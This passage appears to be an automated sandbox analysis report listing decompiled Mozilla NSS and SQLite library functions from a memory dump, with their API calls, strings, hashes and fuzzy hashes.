Part of subcall function 6C640600: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,0BC4EFC3,?,?,?,?,?,6C6405E2), ref: 6C6406CA
Part of subcall function 6C640600: PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6C6405E2), ref: 6C6406E6

PR_EnterMonitor.NSS3 ref: 6C68C0F2
PR_ExitMonitor.NSS3 ref: 6C68C10E
PR_ExitMonitor.NSS3 ref: 6C68C081

Part of subcall function 6C719440: TlsGetValue.KERNEL32 ref: 6C71945B
Part of subcall function 6C719440: TlsGetValue.KERNEL32 ref: 6C719479
Part of subcall function 6C719440: EnterCriticalSection.KERNEL32 ref: 6C719495
Part of subcall function 6C719440: TlsGetValue.KERNEL32 ref: 6C7194E4
Part of subcall function 6C719440: TlsGetValue.KERNEL32 ref: 6C719532
Part of subcall function 6C719440: LeaveCriticalSection.KERNEL32 ref: 6C71955D

PR_EnterMonitor.NSS3 ref: 6C68C068

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

Part of subcall function 6C640600: GetProcAddress.KERNEL32(?,?), ref: 6C640623

_NSSUTIL_UTF8ToWide.NSS3(?), ref: 6C68C14F
PR_LoadLibraryWithFlags.NSS3 ref: 6C68C183
free.MOZGLUE(00000000), ref: 6C68C18E
PR_LoadLibrary.NSS3(?), ref: 6C68C1A3
PR_EnterMonitor.NSS3 ref: 6C68C1D4
PR_ExitMonitor.NSS3 ref: 6C68C1F3
PR_CallOnce.NSS3(6C7B2318,6C68CA70), ref: 6C68C210
PR_EnterMonitor.NSS3 ref: 6C68C22B
PR_ExitMonitor.NSS3 ref: 6C68C247
PR_EnterMonitor.NSS3 ref: 6C68C26A
PR_ExitMonitor.NSS3 ref: 6C68C287
PR_UnloadLibrary.NSS3(?), ref: 6C68C2D0
PR_GetEnvSecure.NSS3(NSS_DEBUG_PKCS11_MODULE), ref: 6C68C392
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C68C3AB
PR_NewLogModule.NSS3(nss_mod_log), ref: 6C68C3D1
PR_GetEnvSecure.NSS3(NSS_FORCE_TOKEN_LOCK), ref: 6C68C782
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD), ref: 6C68C7B5
PR_UnloadLibrary.NSS3(?), ref: 6C68C7CC
PR_SetError.NSS3(FFFFE097,00000000), ref: 6C68C82E
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C68C8BF
PORT_Alloc_Util.NSS3(?), ref: 6C68C8D5
free.MOZGLUE(00000000), ref: 6C68C900
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C68C9C7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C68C9E5
free.MOZGLUE(00000000), ref: 6C68CA5A

Strings

Vendor NSS FIPS Interface, xrefs: 6C68C34A
NSS_DISABLE_UNLOAD, xrefs: 6C68C7B0
NSC_GetInterface, xrefs: 6C68C04F
NSS_FORCE_TOKEN_LOCK, xrefs: 6C68C77D
NSC_ModuleDBFunc, xrefs: 6C68C0FC
nss_mod_log, xrefs: 6C68C3CC
NSS_ReturnModuleSpecData, xrefs: 6C68C275
FC_GetInterface, xrefs: 6C68C054
NSC_GetFunctionList, xrefs: 6C68C093
PKCS 11, xrefs: 6C68C2F9, 6C68C314
NSS_DEBUG_PKCS11_MODULE, xrefs: 6C68C38D
FC_GetFunctionList, xrefs: 6C68C098

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Monitor$Value$Enter$CriticalExitSection$Error$LeaveLibrary$Alloc_SecureUtilfree$ArenaLastLoadUnloadstrcmp$AddressCallFlagsModuleOnceProcR_snprintfTextWideWithmemcpystrlen
String ID: FC_GetFunctionList$FC_GetInterface$NSC_GetFunctionList$NSC_GetInterface$NSC_ModuleDBFunc$NSS_DEBUG_PKCS11_MODULE$NSS_DISABLE_UNLOAD$NSS_FORCE_TOKEN_LOCK$NSS_ReturnModuleSpecData$PKCS 11$Vendor NSS FIPS Interface$nss_mod_log
API String ID: 4243957313-3613044529
Opcode ID: 32022aea34f38bb9ef284d4f322a8b24f6e0a006a616c5d74447d81d60ea0bf4
Instruction ID: bfc164059f426a90be17f7173d43e6af8aaabf75737d0e53c750dc60fc8f5212
Opcode Fuzzy Hash: 32022aea34f38bb9ef284d4f322a8b24f6e0a006a616c5d74447d81d60ea0bf4
Instruction Fuzzy Hash: 4142A0B1A062049FDF00DF54D88AF9A3BB0FB46348F058138D90A9BB61E731D555CBAD

Function 6C763FC0 Relevance: 70.5, APIs: 37, Strings: 3, Instructions: 485stringprocessCOMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000008), ref: 6C763FD5
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C763FFE
malloc.MOZGLUE(-00000003), ref: 6C764016
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,6C79FC62), ref: 6C76404A
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C76407E
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C7640A4
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C7640D7
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C764112
malloc.MOZGLUE(00000000), ref: 6C76411E
__p__environ.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0 ref: 6C76414D
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C764160
free.MOZGLUE(?), ref: 6C76416C
malloc.MOZGLUE(?), ref: 6C7641AB
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,NSPR_INHERIT_FDS=,00000011), ref: 6C7641EF
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,00000004,6C764520), ref: 6C764244
GetEnvironmentStrings.KERNEL32 ref: 6C76424D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C764263
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C764283
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7642B7
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7642E4
malloc.MOZGLUE(00000002), ref: 6C7642FA
FreeEnvironmentStringsA.KERNEL32(?), ref: 6C764342
GetStdHandle.KERNEL32(000000F6), ref: 6C7643AB
GetStdHandle.KERNEL32(000000F5), ref: 6C7643B2
GetStdHandle.KERNEL32(000000F4), ref: 6C7643B9
FreeEnvironmentStringsA.KERNEL32(?), ref: 6C764403
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C764410

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,00000044,?), ref: 6C76445E
CloseHandle.KERNEL32(?), ref: 6C76446B
free.MOZGLUE(?), ref: 6C764482
free.MOZGLUE(00000000), ref: 6C764492
free.MOZGLUE(00000000), ref: 6C7644A4
GetLastError.KERNEL32 ref: 6C7644B2
PR_SetError.NSS3(FFFFE896,00000000), ref: 6C7644BE
free.MOZGLUE(?), ref: 6C7644C7
free.MOZGLUE(00000000), ref: 6C7644D5
free.MOZGLUE(00000000), ref: 6C7644EA

Strings

NSPR_INHERIT_FDS=, xrefs: 6C7641E9
D, xrefs: 6C764396
=, xrefs: 6C7644F8

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$Errormallocstrlen$Handle$EnvironmentStringsmemset$Free$CloseCreateLastProcessValue__p__environqsortstrncmpstrpbrk
String ID: =$D$NSPR_INHERIT_FDS=
API String ID: 3116300875-3553733109
Opcode ID: 71cd1855b92fe98a96afd56518ecd5b1af6f87e2b98989fb8d76b7deb5b65d0a
Instruction ID: 23935f0d9413965d2c645673b8da9021651e89a91f21d93ee0585dd14c0b0eec
Opcode Fuzzy Hash: 71cd1855b92fe98a96afd56518ecd5b1af6f87e2b98989fb8d76b7deb5b65d0a
Instruction Fuzzy Hash: B202F470E043559FEB10CFAACA947AEBBB4AF06308F244179EC65A7F41D7319804DB91

Function 6C676D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6C77A8EC,0000006C), ref: 6C676DC6
memcpy.VCRUNTIME140(?,6C77A958,0000006C), ref: 6C676DDB
memcpy.VCRUNTIME140(?,6C77A9C4,00000078), ref: 6C676DF1
memcpy.VCRUNTIME140(?,6C77AA3C,0000006C), ref: 6C676E06
memcpy.VCRUNTIME140(?,6C77AAA8,00000060), ref: 6C676E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C676E38

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6C676E76
TlsGetValue.KERNEL32 ref: 6C67726F
EnterCriticalSection.KERNEL32(?), ref: 6C677283

Strings

!, xrefs: 6C677123

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: cbf9935b07b4f8437322e8285c271ebdc04b3272544acce4d2a0c77f58947c04
Instruction ID: a0762196239a323abfd35addf185e031389bad86fbd11ab7c43b1b5a9c4769e8
Opcode Fuzzy Hash: cbf9935b07b4f8437322e8285c271ebdc04b3272544acce4d2a0c77f58947c04
Instruction Fuzzy Hash: 7B729E75D052199FDF21CF28CC8879ABBB5EB49304F1445A9E80CA7701EB31AA85CFA5

Function 6C5E3C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5E3C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6C5E3D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5E3EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5E3ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5E3F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5E4052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5E406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6C5E410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5E449C

Strings

database corruption, xrefs: 6C5E4490, 6C5E44F4, 6C5E4599, 6C5E4764, 6C5E4804
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5E4452, 6C5E4486, 6C5E44EA, 6C5E4571, 6C5E4580, 6C5E458F, 6C5E475A, 6C5E47FA
%s at line %d of [%.10s], xrefs: 6C5E4495, 6C5E44F9, 6C5E459E, 6C5E4769, 6C5E4809

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: 3d47af78744439ce07bd33391a7b8c4c4c71d718abd35ec90f22400094938668
Instruction ID: b39231fc6646ed9759bb5b54d2c4575b348b7eccfbc0ac5690f5997df00c517c
Opcode Fuzzy Hash: 3d47af78744439ce07bd33391a7b8c4c4c71d718abd35ec90f22400094938668
Instruction Fuzzy Hash: 7D82A375A04205CFCB04CFA9C984B9EB7B2BF4D318F2585A9D905ABB61D731EC42CB91

Function 6C6BAC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C6BACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6C6BACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6C6BACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6C6BAD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C6BADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6BADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6BADF0

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6BB06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6BB08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6BB1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6BB27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6C6BB2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6BB3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6BB40C

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: 4134caf94f91c36ffc25a8402a65d21032f80c7b25c2e30ab3c2ea9ce8a0ecc5
Instruction ID: 55dc86e3d85ddee7acbb1eb7ab738f2044b414fd00b935375330946e1411942d
Opcode Fuzzy Hash: 4134caf94f91c36ffc25a8402a65d21032f80c7b25c2e30ab3c2ea9ce8a0ecc5
Instruction Fuzzy Hash: 7922B171904301AFE710CF14CC84BAA77E1AF8530CF14857CE9596B792E772E869CB9A

Function 6C601F90 Relevance: 35.9, APIs: 5, Strings: 18, Instructions: 1430COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C6025F3

Strings

unsafe use of virtual table "%s", xrefs: 6C6030D1
%s.%s, xrefs: 6C602D68
cannot have both ON and USING clauses in the same join, xrefs: 6C6032B5
a NATURAL join may not have an ON or USING clause, xrefs: 6C6032C1
too many columns in result set, xrefs: 6C603012
H, xrefs: 6C60329F
'%s' is not a function, xrefs: 6C602FD2
cannot join using column %s - column not present in both tables, xrefs: 6C6032AB
access to view "%s" prohibited, xrefs: 6C602F4A
multiple recursive references: %s, xrefs: 6C6022E0
no such table: %s, xrefs: 6C6026AC
recursive reference in a subquery: %s, xrefs: 6C6022E5
table %s has %d values for %d columns, xrefs: 6C60316C
%s.%s.%s, xrefs: 6C60302D
H, xrefs: 6C60322D
too many references to "%s": max 65535, xrefs: 6C602FB6
no such index: "%s", xrefs: 6C60319D
no tables specified, xrefs: 6C6026BE

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy
String ID: %s.%s$%s.%s.%s$'%s' is not a function$H$H$a NATURAL join may not have an ON or USING clause$access to view "%s" prohibited$cannot have both ON and USING clauses in the same join$cannot join using column %s - column not present in both tables$multiple recursive references: %s$no such index: "%s"$no such table: %s$no tables specified$recursive reference in a subquery: %s$table %s has %d values for %d columns$too many columns in result set$too many references to "%s": max 65535$unsafe use of virtual table "%s"
API String ID: 3510742995-3400015513
Opcode ID: 1c0043ce0f9ca4074ed2ecd78db43d52b2651509ce8305af52b756e024c8619e
Instruction ID: 5b53488fc50b79662d8843b336a581a44049c7e70e31fe1dc69c78b18773f816
Opcode Fuzzy Hash: 1c0043ce0f9ca4074ed2ecd78db43d52b2651509ce8305af52b756e024c8619e
Instruction Fuzzy Hash: D6D25B74F042098FDB08CF99C688BDDB7B2BF49308F288169D955BBB51D731A846CB58

Function 6C63ECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C63ED38

Part of subcall function 6C5D4F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5D4FC4

sqlite3_mprintf.NSS3(snippet), ref: 6C63EF3C
sqlite3_mprintf.NSS3(offsets), ref: 6C63EFE4

Part of subcall function 6C6FDFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C5D5001,?,00000003,00000000), ref: 6C6FDFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6C63F087
sqlite3_mprintf.NSS3(matchinfo), ref: 6C63F129
sqlite3_mprintf.NSS3(optimize), ref: 6C63F1D1
sqlite3_free.NSS3(?), ref: 6C63F368

Strings

porter, xrefs: 6C63ED97
snippet, xrefs: 6C63EF05, 6C63EF37, 6C63EF7C
fts3_tokenizer, xrefs: 6C63EE1A, 6C63EEA8
unicode61, xrefs: 6C63EDB5
matchinfo, xrefs: 6C63F04F, 6C63F082, 6C63F0C2, 6C63F0F2, 6C63F124, 6C63F169
simple, xrefs: 6C63ED79
fts4aux, xrefs: 6C63ECF9
optimize, xrefs: 6C63F199, 6C63F1CC, 6C63F211
fts3, xrefs: 6C63F247
fts3tokenize, xrefs: 6C63F30F
offsets, xrefs: 6C63EFAF, 6C63EFDF, 6C63F01F
fts4, xrefs: 6C63F2AD

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 3b0a0153f6b9bcb47ffcc7e222f1437bb33de304c53cbc5955d32129c8d06625
Instruction ID: cc0f7ecc91408ca7f261660d5079c40279b2af3e1c88b45207b63b79cf0c7994
Opcode Fuzzy Hash: 3b0a0153f6b9bcb47ffcc7e222f1437bb33de304c53cbc5955d32129c8d06625
Instruction Fuzzy Hash: E002E2B2B047108BE7049F72AC9572B36B2AFC5308F14653CD95E87B01EB75E846879B

Function 6C6B7C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6B7C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6C6B7C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6C6B7D1E

Part of subcall function 6C6B7870: SECOID_FindOID_Util.NSS3(?,?,?,6C6B91C5), ref: 6C6B788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6B7D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C6B7D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C6B7DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C6B7DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6B7DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C6B7E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C6B7E58

Part of subcall function 6C6B7870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C6B91C5), ref: 6C6B78BB
Part of subcall function 6C6B7870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6C6B91C5), ref: 6C6B78FA
Part of subcall function 6C6B7870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6C6B91C5), ref: 6C6B7930
Part of subcall function 6C6B7870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6B91C5), ref: 6C6B7951
Part of subcall function 6C6B7870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6B7964
Part of subcall function 6C6B7870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C6B797A
Part of subcall function 6C6B7870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6C6B7988
Part of subcall function 6C6B7870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6C6B7998
Part of subcall function 6C6B7870: free.MOZGLUE(00000000), ref: 6C6B79A7
Part of subcall function 6C6B7870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6C6B91C5), ref: 6C6B79BB
Part of subcall function 6C6B7870: PR_GetCurrentThread.NSS3(?,?,?,?,6C6B91C5), ref: 6C6B79CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6B7E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C6B7F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C6B7F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6B7FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C6B7FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6C6B8038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C6B8050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C6B8093
SECOID_FindOID_Util.NSS3 ref: 6C6B7F29

Part of subcall function 6C6B07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C658298,?,?,?,6C64FCE5,?), ref: 6C6B07BF
Part of subcall function 6C6B07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6B07E6
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B081B
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B0825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C6B8072
SECOID_FindOID_Util.NSS3 ref: 6C6B80F5

Part of subcall function 6C6BBC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6C6B800A,00000000,?,00000000,?), ref: 6C6BBC3F

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: 78567ff5ae7bf57f3768106df3ed097e39ed84d5f27092f43171de6f1b7909ef
Instruction ID: 160ea4729a07efe57f7b23598f4b0b156b22397a0b5767c37455a3c67114b1ab
Opcode Fuzzy Hash: 78567ff5ae7bf57f3768106df3ed097e39ed84d5f27092f43171de6f1b7909ef
Instruction Fuzzy Hash: 8FE1B4716083019FD710CF28C880B5B77E5EF49348F14496DE98AABB61E731EC25CB6A

Function 6C641C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6C641C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6C641C75
